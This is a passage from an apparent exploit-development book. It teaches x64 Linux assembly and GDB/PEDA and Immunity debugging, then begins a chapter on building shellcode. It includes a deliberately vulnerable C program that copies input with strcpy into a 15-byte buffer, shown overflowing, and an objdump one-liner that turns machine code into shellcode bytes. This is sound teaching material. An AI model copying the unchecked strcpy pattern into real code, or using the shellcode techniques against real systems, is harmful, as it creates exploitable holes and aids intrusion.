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The following diagram explains what is going to be inside the registers:

And now, let's jump to the full code:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

section .data

    hello_world: db 'hello world',0xa
    length: equ $-hello_world

In the .data section, which contains all the variables, the first variable in the code is
the hello_world variable with data type byte (db), and it contains a hello world string
along with 0xa, which means a new line, like in \n in C. The second variable is length,
that contains the length of hello_world string with equ, which means equal, and $-,
which means evaluate the current line.

In the .text section, as we previously explained, we move 1 to rax, which indicates
the write syscall number, then we move 1 to rdi as an indicator that the file descriptor is
set to standard output, then we move the address of the hello_world string to rsi, and
we move the length of the hello_world string to rdx, and finally, we invoke syscall,
which means execute.
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Now, let's assemble and link the object code, as follows:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ ./hello-world

The output of the preceding commands is as follows:

It printed the hello world string but exited with Segmentation fault because the
program doesn't know where to go next. We can fix it by adding the exit syscall: 

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data

    hello_world: db 'hello world',0xa
    length: equ $-hello_world
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We just added the exit syscall by moving 60 to rax, then we moved 1 to rdi, which
indicates the exit status, and finally we invoked syscall to execute the exit syscall:
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Let's assemble the link and try again:

Now it's exited normally; let's also confirm the exit status using echo $?:

Exit status is 1, as we selected!

Stack
As we discussed in the previous chapter, a stack is a space allocated for each running
application and is used to store variables and data. A stack supports two operations (push
and pop); a push operation is used to push an element to the stack, and that will cause the
stack pointer to move to a lower memory address (a stack grows from high memory to low
memory) and point to the top of the stack, whereas pop takes the first element at the top of
the stack and extracts it.

Let's take a look at a simple example:

global _start

section .text

_start:

    mov rdx,0x1234
    push rdx
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    push 0x5678
    pop rdi
    pop rsi
    mov rax, 60
    mov rdi, 0
    syscall
section .data

This code is very simple; let's compile and link it:

$ nasm -felf64 stack.nasm -o stack.o
$ ld stack.o -o stack

Then, I will run the application in a debugger (debuggers will be explained in the next
chapter) just to show you how the stack really works.

First, before we run the program, all registers are empty except the RSP register, which is
now pointing at the top of the stack 00007ffdb3f53950:
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Then, the first instruction is executed, which moves 0x1234 to rdx:
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As we can see, the rdx register now holds 0x1234 and there are no changes in the stack yet.
The second instruction pushes the value of rdx into the Stack, as follows:
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Look at the Stack section; it moved to the lower address (from 50 to 48), and now it
contains 0x1234. The third instruction is to push 0x5678 directly to the Stack:
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The fourth instruction will extract the last element in the Stack to rdi:
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As you can see, the Stack now doesn't contain 0x5678 anymore, and it moved to rdi. The
last instruction will be to extract the last element in the Stack to rsi:

Now the stack is back to normal and 0x1234 moved to rsi.

Well, so far, we have covered two basic examples on how to build a hello world program
and also a push/pop operation in the stack, wherein we saw some basic instructions, such as
mov, push, pop, and there is much more to come. Now, you might be wondering why I
haven't explained any of those instructions and took you through the examples first. My
strategy takes you to the next section; here, we will go through all the basic instructions
required for an assembly language.
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Data manipulation
Data manipulation is moving data in assembly, and it is a very important topic because
most of our operations will be moving data to execute instructions, so we have to really
understand how to use them, such as the mov instruction, and how to move data between
registers and between register and memory, copying addresses to registers, and how to
swap the contents of two registers or between register and memory using the xchg
instruction, then how to load the effective address of the source into the destination using
the lea instruction.

The mov instruction 
The mov instruction is the most important instruction used in assembly in Linux, and we
used it in all the previous examples.

The mov instruction is used to move data between registers, and between registers and
memory.

Let's look at some examples. First, let's begin with moving data directly to registers:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x56789

    mov rax, 60
    mov rdi, 0
    syscall

section .data
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This code will just copy 0x1234 to rax and 0x56789 to rbx:

Let's go further and add some moving data between registers to the previous example:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x56789

    mov rdi, rax
    mov rsi, rbx

    mov rax, 60
    mov rdi, 0
    syscall

section .data



Assembly Language in Linux Chapter 3

[ 67 ]

What we added just moved the contents of both rax and rbx to rdi and rsi respectively:

 

Let's try to move data between registers and memory:

global _start

section .text

_start:

    mov al, [mem1]
    mov bx, [mem2]
    mov ecx, [mem3]
    mov rdx, [mem4]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: db 0x12
    mem2: dw 0x1234
    mem3: dd 0x12345678
    mem4: dq 0x1234567891234567
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In mov al, [mem1], the brackets mean move the contents of mem1 to al.
If we use mov al, mem1 without brackets, it will move the pointer of
mem1 to al.

In the first line, we moved 0x12 to the RAX register and, because we are moving only 8 bits,
we used AL (the lower part of RAX register that can hold 8 bits) because we don't need to
use all 64 bits. Also note that we defined the mem1 memory section as db, which is byte, or it
can hold 8 bits.

Take a look at the following table:

64-bit register 32-bit register 16-bit register 8-bit register

RAX EAX AX AH, AL

RBX EBX BX BH, BL

RCX ECX CX CH, CL

RDX EDX DX DH, DL

RSI ESI SI SIL

RDI EDI DI DIL

RSP ESP SP SPL

RBP EBP BP BPL

R8 R8D R8W R8B

R9 R9D R9W R9B

R10 R10D R10W R10B

R11 R11D R11W R11B

R12 R12D R12W R12B

R13 R13D R13W R13B

R14 R14D R14W R14B

R15 R15D R15W R15B

Then, we moved value 0x1234, which is defined as dw, to the rbx register, and then we
moved 2 bytes (16 bits) in BX, which can hold 16 bits.

Then, we moved the value 0x12345678, which is defined as dd, to the RCX register, and it's
4 bytes (32 bits), to ECX.
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And finally, we moved 0x1234567891234567, which is defined as dq, to the RDX register,
and it's 8 bytes (64 bits), so we moved it to RDX:

This is what it looks like in the registers after executing.

Now, let's talk about moving data from register to memory. Take a look at the following
code:

global _start

section .text

_start:

    mov al, 0x34
    mov bx, 0x5678
    mov byte [mem1], al
    mov word [mem2], bx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

    mem1: db 0x12
    mem2: dw 0x1234
    mem3: dd 0x12345678
    mem4: dq 0x1234567891234567
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At the first and second instructions, we moved values directly to registers, and, in the third
instruction, we moved the contents of register RAX (AL) to mem1 and specified the length
with byte. Then, in the fourth instruction, we moved the contents of register RBX (RX) to
mem2 and specified the length with word.

This is the contents of mem1 and mem2 before moving any values:

The next screenshot is after moving values to mem1 and mem2, which has changed:

Data swapping
Data swapping is really easy too; it is used to exchange the contents of two registers or
between register and memory using the xchg instruction:

global _start

section .text

_start:

    mov rax, 0x1234
    mov rbx, 0x5678
    xchg rax, rbx
    mov rcx, 0x9876
    xchg rcx,[mem1]
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    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: dw 0x1234

In the previous code, we moved 0x1234 to the rax register, then we moved 0x5678 to the
rbx register:

Then, in the third instruction, we swapped the contents of both rax and rbx with the xchg
instruction:
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Then, we pushed 0x9876 to the rcx register and mem1 holds 0x1234:

And now, swap both rcx and mem1:
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Load effective address
The load effective address (lea) instruction loads the address of the source into the
destination:

global _start

section .text

_start:

    lea rax, [mem1]
    lea rbx, [rax]

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: dw 0x1234

First, we moved the address of mem1 to rax, then we moved the address inside rax to rbx:

Both are now pointing at mem1, which contains 0x1234.
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Arithmetic operations
Now, we are going to talk about arithmetic operations (addition and subtraction). Let's
begin:

global _start

section .text

_start:

    mov rax,0x1
    add rax,0x2

    mov rbx,0x3
    add bl, byte [mem1]

    mov rcx, 0x9
    sub rcx, 0x1

    mov dl,0x5
    sub byte [mem2], dl

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    mem1: db 0x2
    mem2: db 0x9

First, we move 0x1 to the rax register, then we add 0x2, and the result will be stored in the
rax register.

Then, we move 0x3 to the rbx register and add the contents of mem1, which contains 0x2
with the contents of rbx, and the result will be stored in rbx.

Then, we move 0x9 to the rcx register, then we subtract 0x1, and the result will be stored
in rcx.
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Then, we move 0x5 to the rdx register, subtract the contents of mem2 from rdx, and the
result will be stored in the mem2 memory portion:

And the contents of mem2 after subtraction is as follows: 

Now, let's talk about addition with carry and subtraction with borrow:

global _start

section .text

_start:

    mov rax, 0x5
    stc
    adc rax, 0x1

    mov rbx, 0x5
    stc
    sbb rbx, 0x1

    mov rax, 60
    mov rdi, 0
    syscall

section .data



Assembly Language in Linux Chapter 3

[ 76 ]

First, we move 0x5 to the rax register, then we set the carry flag, which will be carrying 1.
After this, we add the contents of the rax register to 0x1, and to the carry flag, which is 1.
This will give us 0x7 (5+1+1).

Then, we move 0x5 to the rbx register and set the carry flag, then we subtract 0x1 from the
rbx register and also another 1 in the carry flag; that will give us 0x3 (5-1-1):

Now, the final part here is the increment and decrement operations:

global _start

section .text

_start:

    mov rax, 0x5
    inc rax
    inc rax

    mov rbx, 0x6
    dec rbx
    dec rbx

    mov rax, 60
    mov rdi, 0
    syscall

section .data

First, we move 0x5 to the rax register, increment the value of rax with 1, then we
increment again, which gives us 0x7.
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Then, we move 0x6 to the rbx register, decrement the value of rbx with 1, then we 
decrement again, which gives us 0x4:

Loops
Now, we are going to talk about loops in assembly. Like in any other high-level language
(Python, Java, and so on), we can use loops for iteration using the RCX register as a counter,
then the loop keyword. Let's see the following example: 

global _start

section .text

_start:

    mov rcx,0x5
    mov rbx,0x1

increment:

    inc rbx
    loop increment

    mov rax, 60
    mov rdi, 0
    syscall

section .data
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In the previous code, we wanted to increment the contents of RAX five times, so we moved
0x5 to the rcx register, then moved 0x1 to the rbx register:

Then, we added the increment tag as an indication of the start of the block we wanted to
repeat, then we added the increment instruction to the contents of the rbx register:

Then, we called loop increment, which will decrement the contents of the RCX register
and then go to start again from the increment tag:

Now it will go until the RCX register hits zero, then the flow will go out of that loop:
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Now, what if the program is rewritten with a value on RCX? Let's see an example:

global _start

section .text

_start:

    mov rcx, 0x5

print:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello
    mov rdx, length
    syscall

loop print

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    hello: db 'Hello There!',0xa
    length: equ $-hello

After executing this code, the program will be stuck in an infinite loop, and if we look
closer, we will see that the code overwrites the value in the RCX register after executing
syscall:
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So, we have to find a way to save the RCX register, such as saving it in the stack. First, we
push the current value in the stack before executing syscall, and, after executing syscall, we
overwrite whatever is in RCX with our value again and then decrement the value and push
it again in the stack to save it:

global _start

section .text

_start:

    mov rcx, 0x5

increment:

    push rcx
    mov rax, 1
    mov rdi, 1
    mov rsi, hello
    mov rdx, length
    syscall
    pop rcx

loop increment

    mov rax, 60
    mov rdi, 0
    syscall

section .data
    hello: db 'Hello There!',0xa
    length: equ $-hello

This way, we save our value in the RCX register and then pop it in RCX again to use it.
Look at the pop rcx instruction in the preceding code. RCX got back to 0x5 again, as
expected:
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Controlling the flow
Here, we are going to talk about controlling the flow of execution. The normal flow of
execution is to execute step 1, then 2, and so on until the code exits normally. What if we
decide we want something to happen in step 2, then the code skips 3, and goes to execute 4
directly, or we just want to skip step 3 without waiting for something to happen? There are
two types of jumping:

Changing the flow unconditionally
Changing the flow based on changes in flags

Now, let's start with the unconditional jump: 

global _start

section .text

_start:

jmp exit_ten

    mov rax, 60
    mov rdi, 12
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data



Assembly Language in Linux Chapter 3

[ 82 ]

The previous code contains four exit syscalls but with different exit statuses (12, 0, 10, 1),
and we started with jmp exit_ten, which means jump to the exit_ten location, and it
will jump to this section of code:

    mov rax, 60
    mov rdi, 10
    syscall

Execute it and exit normally with exit status 10. Note that the next section will never be
executed:

    mov rax, 60
    mov rdi, 12
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

Let's confirm:

$ nasm -felf64 jmp-un.nasm -o jmp-un.o
$ ld jmp-un.o -o jmp-un
$ ./jmp-un
$ echo $?

The output for the preceding commands can be seen in the following screenshot:

As we can see, the code exited with exit status 10.

Let's look at another example:

global _start

section .text

_start:

    mov rax, 1
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    mov rdi, 1
    mov rsi, hello_one
    mov rdx, length_one
    syscall

jmp print_three

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall

print_three:
    mov rax, 1
    mov rdi, 1
    mov rsi, hello_three
    mov rdx, length_three
    syscall

    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_one: db 'hello one',0xa
    length_one: equ $-hello_one

    hello_two: db 'hello two',0xa
    length_two: equ $-hello_two

    hello_three: db 'hello three',0xa
    length_three: equ $-hello_three

In the earlier code, it starts by printing hello_one. Then, it will hit jmp print_three, and
the flow of execution will be changed to the print_three location and start printing
hello_three. The following section will never be executed:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
    mov rdx, length_two
    syscall
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Let's confirm that:

$ nasm -felf64 jmp_hello.nasm -o jmp_hello.o
$ ld jmp_hello.o -o jmp_hello
$ ./jmp_hello

The output for the preceding commands can be seen in the following screenshot:

Now, let's move on to jumping with the condition, and, to be honest, we can't cover all
conditions here because the list is very long, but we will see some examples so that you can
understand the concept.

The jump if below (jb) instruction means it will execute the jump if a carry flag (CF) is set
(CF is equal to 1).

As we said earlier, we can set a CF manually using the stc instruction.

Let's modify the previous example, but using the jb instruction, as follows: 

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_one
    mov rdx, length_one
    syscall

    stc

jb print_three

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_two
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    mov rdx, length_two
    syscall

print_three:
    mov rax, 1
    mov rdi, 1
    mov rsi, hello_three
    mov rdx, length_three
    syscall

    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_one: db 'hello one',0xa
    length_one: equ $-hello_one

    hello_two: db 'hello two',0xa
    length_two: equ $-hello_two

    hello_three: db 'hello three',0xa
    length_three: equ $-hello_three

As you can see, we executed stc to set a carry flag (that is, CF is equal to 1), then we test
that using jb instruction that means jump to print_three if CF is equal to 1.

Here is another example:

global _start

section .text

_start:

    mov al, 0xaa
    add al, 0xaa

jb exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:
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    mov rax, 60
    mov rdi, 10
    syscall

section .data

In the preceding example, the add operation will set the carry flag, then we make the test
using the jb instruction; if CF is equal to 1, then jump to exit_ten. 

Now, let's look at a different method, that is, the jump if below or equal (jbe) instruction,
which means CF is equal to 1 or zero flag (ZF) is equal to 1. The previous example will
work too, but let's try something else to set ZF is equal to 1:

global _start

section .text

_start:

    mov al, 0x1
    sub al, 0x1

jbe exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

In the previous code, the subtraction operation will set ZF and then we will use the jbe
instruction to test whether CF is equal to 1 or ZF is equal to 1; if true, then it will jump to
execute exit_ten.

Another type is jump if not sign (jns), which means SF is equal to 0: 

global _start

section .text

_start:
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mov al, 0x1
sub al, 0x3

jns exit_ten

    mov rax, 60
    mov rdi, 0
    syscall

exit_ten:

    mov rax, 60
    mov rdi, 10
    syscall

section .data

In the previous code, the subtraction operation will set the sign flag (SF) equal to 1. After
that, we will test whether SF is equal to 0, which will fail, and it won't jump to execute
exit_ten and will continue with the normal exit with exit status 0:

Procedures
Procedures in assembly can act as functions in high-level language, which means that you
can write a block of code, then you can call it to execute.

For example, we can build a procedure that can take two numbers and add them. Also, we
can use it many times during execution using the call instruction.

Building procedures is easy. First, define your procedure before _start, then add your
instructions and end your procedure with the ret instruction.
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Let's try to build a procedure that can take two numbers and add them:

global _start

section .text

addition:

    add bl,al
    ret

_start:

    mov al, 0x1
    mov bl, 0x3
    call addition

    mov r8,0x4
    mov r9, 0x2
    call addition

    mov rax, 60
    mov rdi, 1
    syscall

section .data

First, we added an addition section, before the _start section. Then, in the addition
section, we used the add instruction to add what's inside the R8 and R9 registers and put
the result in the R8 register, then we ended the addition procedure with ret.

Then, we moved 1 to the R8 register and 3 to the R9 register:
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Then, we called the addition procedure, which will push the next instruction address into
the stack, which is mov r8,0x4:

Note that RSP is now pointing to the next operation, and we are inside the addition
procedure, and then the code will add both numbers and store the result in the R8 register:

After this, it will hit the ret instruction, which will set the flow of executing back to mov
r8,0x4.

This will move 4 to the R8 register, then move 2 to the R8 register:
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Then, call the addition procedure, and it will push the next instruction into the stack,
which is mov rax, 60:

Then, add both numbers and store the result in the R8 register:

Then, we hit the ret instruction again, which will pop the next instruction from the stack
and put it in the RIP register, which is equivalent to pop rip: 

Then, the code will continue with executing the exit syscall.
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Logical operations 
Now, we are going to talk about logical operations such as bitwise operations and bit-
shifting operations.

Bitwise operations
There are four types of bitwise operations in logical operations: AND, OR, XOR, and NOT.

Let's start with the AND bitwise operation:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    and rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

First, we moved 0x10111011 to the rax register, then we moved 0x11010110 to
the rbx register:
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Then, we performed the AND bitwise operation on both sides and stored the result in RAX:

Let's see the result inside the RAX register:

 

Now, let's move to the OR bitwise operation and modify the previous code to perform the
operation:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    or rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data

We moved both values to the rax and rbx registers:
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Then, we executed the OR operation on those values: 

Now, let's confirm the result in the RAX register:

Let's now look at the XOR bitwise operation with the same values:

global _start

section .text

_start:

    mov rax,0x10111011
    mov rbx,0x11010110
    xor rax,rbx

    mov rax, 60
    mov rdi, 10
    syscall

section .data
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Move the same values to the rax and rbx registers:

Then, execute the XOR operation:

Let's see what is inside the RAX register:

You can use the XOR instruction on a register with itself to clear the
content of that register. For instance, xor rax and rax will fill the RAX
register with zeros.

Now, let's see the final one, which is the NOT bitwise operation, which will change ones to
zeros and zeros to ones:

global _start

section .text

_start:

    mov al,0x00
    not al



Assembly Language in Linux Chapter 3

[ 95 ]

    mov rax, 60
    mov rdi, 10
    syscall

section .data

The output of the preceding code can be seen in the following screenshot:

What happened is that the NOT instruction changed zeros to ones (ff) and vice versa.

Bit-shifting operations
Bit-shifting operations is an easy topic if you follow what each diagram says. Mainly, there
are two types of bit-shifting operations: arithmetic shift operation and logic operation.
However, we will also see the rotate operation.

Let's start with the arithmetic shift operation. 

Arithmetic shift operation 
Let's make this as simple as possible. There are two types of arithmetic shift: shift
arithmetic left (SAL) and shift arithmetic right (SAR).

In SAL, we push 0 at the least significant bit side, and the extra bit from the most
significant bit side may affect CF if it's a 1:
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So, the result of this shift will not affect on CF, and it will look like this:

Let's take an example:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    sal rax, 4
    sal rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

We moved 0x0fffffffffffffff to the rax register, and this is how it looks now: 

 

Now, we want to perform SAL with 4 bits one time:



Assembly Language in Linux Chapter 3

[ 97 ]

Because the most significant bit was zero, so CF will not be set:

Now, let's try another round: we push another zero, and the most significant bit is one:

A carry flag will be set:
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Now, let's look at the SAR instruction. In SAR, a value will be pushed based on the
most significant bit if it is 0, then 0 will be pushed, and if it is 1, then 1 will be pushed to
keep the sign from changing:

The most significant bit is used as an indication for the sign, 0 for the
positive number and 1 for the negative number.

So, in SAR, it will shift with whatever is in the most significant bit.

Let's look at the example:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    sar rax, 4

    mov rax, 60
    mov rdi, 0
    syscall

section .data

So, the input will look like this:
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So, SAR four times will push 0 four times as the most significant bit is zero: 

Also, CF is set because the least significant bit is 1:

Logical shift
The logical shift also contains two types of shifting: logical shift left (SHL) and logical shift
right (SHR). SHL is exactly like SAL.

Let's look at the following code:

global _start

section .text

_start:

    mov rax, 0x0fffffffffffffff
    shl rax, 4
    shl rax, 4
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    mov rax, 60
    mov rdi, 0
    syscall

section .data

Also, it will push zero from the least significant bit side four times: 

This will not have any effect on the carry flag:

At the second round, it will push zero again four times: 
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The most significant bit is 1, so this will set the carry flag: 

Let's now move to SHR. It simply pushes a 0 from the most significant bit side without
keeping the sign from changing:

Now, try the following code:

global _start

section .text
_start:

    mov rax, 0xffffffffffffffff
    shr rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data
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So, first, we move 64 bits of ones:

After this, we will perform SHR 32 times, which will push 32 zeros to the most significant
bit side:

Also, as the least significant bits are ones, this will set the carry flag:

Rotate operation
The rotate operation is simple: we will rotate the contents of a register to the right or to the
left. Here, we are only going to discuss rotate right (ROR) and rotate left (ROL).
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Let's start with ROR:

 

In ROR, we just rotate the bits from right to left without adding any bits; let's look at the
following code:

global _start

section .text

_start:

    mov rax, 0xffffffff00000000
    ror rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data

We move 0xffffffff00000000 to the rax register:

Then, we will start moving bits from right to left 32 times: 
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There is no shifting with ones, so the carry flag will not be set:

Let's move the ROL, which is the opposite of ROR, which rotates bits from left to right
without adding any bits:

  

Let's look at the previous example but ROL:

global _start

section .text

_start:

    mov rax, 0xffffffff00000000
    rol rax, 32

    mov rax, 60
    mov rdi, 0
    syscall

section .data
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First, we also move 0xffffffff00000000 to the rax register: 

Then, we will start rotating bits from left to right 32 times:

We are rotating ones, so this will set the carry flag:

Summary 
In this chapter, we discussed the Intel x64 assembly language in Linux and how to deal with
stacks, data manipulation, arithmetic and logical operations, how to control the flow of
execution, and also how we can invoke system calls in an assembly.

Now we are ready to make our own customized shellcodes, but before that, you need to
learn some basics in debugging and reverse engineering, which will be our next chapter. 



4
Reverse Engineering

In this chapter, we are going to learn what reverse engineering is and how to use debuggers
to make us really see what is going on behind the scenes. Also, we will look at the execution
flow of one instruction at a time, and how we are going to use and get familiar with
debuggers for both Microsoft Windows and Linux. 

The following topics will be covered in this chapter: 

Debugging in Linux
Debugging in Windows
The flow of execution of any code
Detecting and confirming buffer overflow with reverse engineering

Shall we begin?

Debugging in Linux
Here, we are going to introduce you to one of the most adorable and powerful debuggers
ever, GDB (GNU debugger). GDB is an open source command-line debugger that can work
on many languages, such as C/C++, and it's installed on most of the Linux distributions by
default.

So why are we using debuggers? We use them to see inside registers, memory, or stacks in
each step. Also, there is a disassembly inside GDB to help us understand the functionality of
each function in assembly language.

Some people feel that GDB is hard to use because it's a command-line interface, that it's
hard to remember each command's arguments, and so on. Let's make GDB more tolerable
for those people by installing PEDA, which is used to enhance GDB's interface.
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PEDA stands for Python Exploit Development Assistance, which can make GDB easier to
use and look nicer.

We need to download it first:

$ git clone https://github.com/longld/peda.git ~/peda

Then, copy that file to gdbinit inside your home directory:

$ echo "source ~/peda/peda.py" >> ~/.gdbinit

Then, start GDB:

$ gdb

Now, it looks useless, but wait; let's try to debug something easy, such as our assembly hello
world example:

global _start

section .text
_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 11
    syscall

section .data

    hello_world: db 'hello there',0xa
    length: equ $-hello_world

Let's assemble and link it as follows: 

$ nasm -felf64 hello.nasm -o hello.o
$ ld hello.o -o hello

Now run ./hello with GDB as follows:

$ gdb ./hello
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The following screenshot shows the output for the preceding command:

We are going to set the disassembling mode to Intel:

set disassembly-flavor intel

Then, we are going to set a breakpoint where we want to start our debugging step by step
because we are going to track all instructions, so let's put our breakpoint at _start:

break _start

The output for the preceding commands is as follows: 

As we have set the breakpoint, now, let's run our application inside GDB using run, and it
will continue until it hits the breakpoint.



Reverse Engineering Chapter 4

[ 109 ]

You will see three sections (registers, code, and stack):

The following screenshot is the code section:

As you can see, the small arrow on the left is pointing to the next instruction, which is
moving 0x1 to the eax register.



Reverse Engineering Chapter 4

[ 110 ]

The next screenshot is the stack section:

Also, we can find a lot of command options using the command peda:



Reverse Engineering Chapter 4

[ 111 ]

There are more too:

All of these are PEDA commands; you can also use GDB commands.
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Now, let's continue our work by typing stepi, or you can just use s, and this will begin to
execute one instruction, which is mov eax,0x1: 

The stepi command will step into instructions such as call, which will
cause the flow of debugging to be switched inside that call, whereas the s
command or step will not do this, and will just get the return values from
the call instruction by stepping into the call instruction.
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On the previous screen, there is 0x1 inside the RAX register and the next instruction is
pointing at mov edi,0x1. Now let's hit Enter to move to the next instruction:

Also, as you can see, there is 1 inside the RDI register and the next instruction is movabs
rsi,0x6000d8. Let's try to see what is inside memory address 0x6000d8  using xprint
0x6000d8:
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It's clear now that this is the location that holds the hello there string. We also can dump
it in hex using peda hexprint 0x6000d8 or peda hexdump 0x6000d8:

Let's move forward using stepi:

Now the RSI register is holding a pointer to the hello there string.
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The next instruction is mov edx,0xc, which is moving 12 to the EDX register, which is the
length of the hello there string. Now, let's go further by hitting Enter one more time; the
following is displayed:

By looking at the RDX register now, it holds 0xc, and the next instruction is syscall.  Let's
move forward using s:

Now the syscall is done, and the hello there string is printed.
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Now we are going to execute the exit syscall, and the next instruction is mov eax,0x3c,
which means move 60 to the RAX register. Let's keep moving forward using s:

Instruction, mov edi,0xb means move 11 to the RDI register: 
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RDI is now holding 0xb, and the next instruction is syscall, which will execute the exit
syscall: 

Now the program exits normally.

Let's see another example, which is hello world in C language:

#include <stdio.h>

int main()
{
    printf ("hello world\n");
    return 0;
}

Let's compile it and debug it using GDB:

$ gcc hello.c -o hello
$ gdb ./hello

Now let's set the disassembling mode to Intel:

set disassembly-flavor intel

Set our breakpoint at the main function:

break main

Now if we want to look at the assembly instruction of any function, then we should use the
disassemble command followed by the name of the function. For example, we want
to disassemble the main function, and therefore we can use disassemble main:
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The first two instructions are to save the content of the base pointer or the frame pointer by
pushing RBP to the stack, then, at the end, RBP will be extracted back. Let's run the
application to see further using the run command:
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It stops at lea rdi,[rip+0x9f]  # 0x5555555546e4. 

Let's check what's inside that location:

It points to the location of the hello world string. 

Let's step forward by using stepi or s:

As you can see, the RDI register is now loaded with the address of the hello world string.

The next instruction, call 0x555555554510 <puts@plt>, which is calling the printf
function, is to print the hello world string.
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We can also check the contents of 0x555555554510:

It's the jmp instruction; let's check that location too:

Now, let's step forward using the stepi command: 

Let's step forward again: 
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The next instruction is push 0x0; let's keep going using stepi: 

The next instruction is jmp 0x555555554500; let's step forward by entering s:

Now we are inside the actual execution of the printf function; keep stepping forward for
the next instruction:

The next instruction, call 0x7ffff7abc650 <strlen>, means calling the strlen
function to get the length of our string.
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Keep stepping forward until you hit the ret instruction, then you are back to our execution
again inside printf: 

Let's make the program continue debugging until it hits an error using the continue
command:

In the previous example, we didn't follow all instructions but just learned how to debug
using GDB, and understand and investigate every instruction.

Debugging in Windows 
Now, let's try something more advanced and yet very simple without going into specifics.
Here, we will see what is going to happen if we use a buffer overflow code in Windows. We
are going to detect what will happen inside your CPU if we execute that code.

First, open Code::Block in Windows 7, then go to File menu | New | Empty file. Then, write
our buffer overflow:

#include <stdio.h>
#include <string.h>

void copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
}
int main (int argc, char *argv[])
{
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    int local_variable = 1;
    copytobuffer(argv[1]);
    return 0;
}

After that, go to File menu | Save file, then save it as buffer.c:

Then, go to Build menu | Build. 

Then, open Immunity Debugger as the administrator, and from File menu |Open, select the
executable buffer file, then specify our input not to crash our code but just to see the
difference, such as aaaa:
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Then, hit Open:

To get the functionality of each button, just hover your mouse cursor over it and read the
status bar.   

For example, if I hover my mouse cursor over the red play button , it will show in the
status bar its functionality, which is Run program:

Let's hit the Run program button one time. The program starts and then stops at the
program entry point, which is the main function. Let's hit that button again and notice what
happens in the status bar:

As you can see, the program exited with status zero, which means no errors.
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OK, let's now try to cause the program to crash to see the difference. Let's close Immunity
Debugger and run it again, then open the same program, but we need to cause the program
to crash, so specify the Arguments, such as 40 of the a character:

Then hit Open:
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Let's hit the Run program button twice and notice what happens in the status bar:

The program can't execute 61616161; do you know why that is? It's our input and 61 is a
character in hex.

Let's have a look at both the register and stack window:
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Notice that the stack has 16 of the a characters; the rest of our input filled the EAX register
and it filled RIP, and that's why our application is complaining that it can't execute
61616161.

Summary
In this chapter, we went through debugging, and how to use debuggers in both Linux and
Microsoft Windows. We also looked at how to follow the flow of execution and see what is
going on behind the scenes. We only scratched the surface of this topic because we don't
want to get carried away from our main goal. Now let's keep going to the next chapter,
which will cover one of our main goals here: creating shellcodes. We will look at how we
are going to apply everything we have learned so far to create our customized shellcode.



5
Creating Shellcode

Let's get ready to dive deep into this topic where we will be using what we have learned so
far to create simple, fully customized shellcodes. This will get even more adventurous when
we face the obstacles that are bad characters and find ways of removing them. Moving on,
we will see how to create advanced shellcodes and also create our shellcodes using the
Metasploit Framework automatically.

The following are the topics that we will cover in this chapter:

The basics and bad characters
The relative address technique
The execve syscall
Bind TCP shell
Reverse TCP shell
Generating shellcode using Metasploit

The basics
Firstly, let's begin with what a shellcode is. As we have already seen earlier, the shellcode is
a machine code that can be used as a payload to be injected in stack overflow attacks, which
can be obtained from the assembly language.

So what we have to do is simple: write what we want the shellcode to do as assembly, then
perform some modifications, and convert it to a machine code. 
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Let's try to make a hello world shellcode and convert an executable form to machine code.
We need to use the objdump command:

$ objdump -D -M intel hello-world

The output for the preceding command is shown in the following screenshot:

Do you see what's inside that red rectangular box? This is the machine code of our hello
world example. But we need to convert it to this form: \xff\xff\xff\xff, where ff
represents the operation code. You can do that manually line by line, but it would be 
somewhat tedious. We can do that automatically using just one line:

$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -
f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Let's try that with our code:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s
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The output of the preceding command is shown in the following screenshot:

This is our machine language:

\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
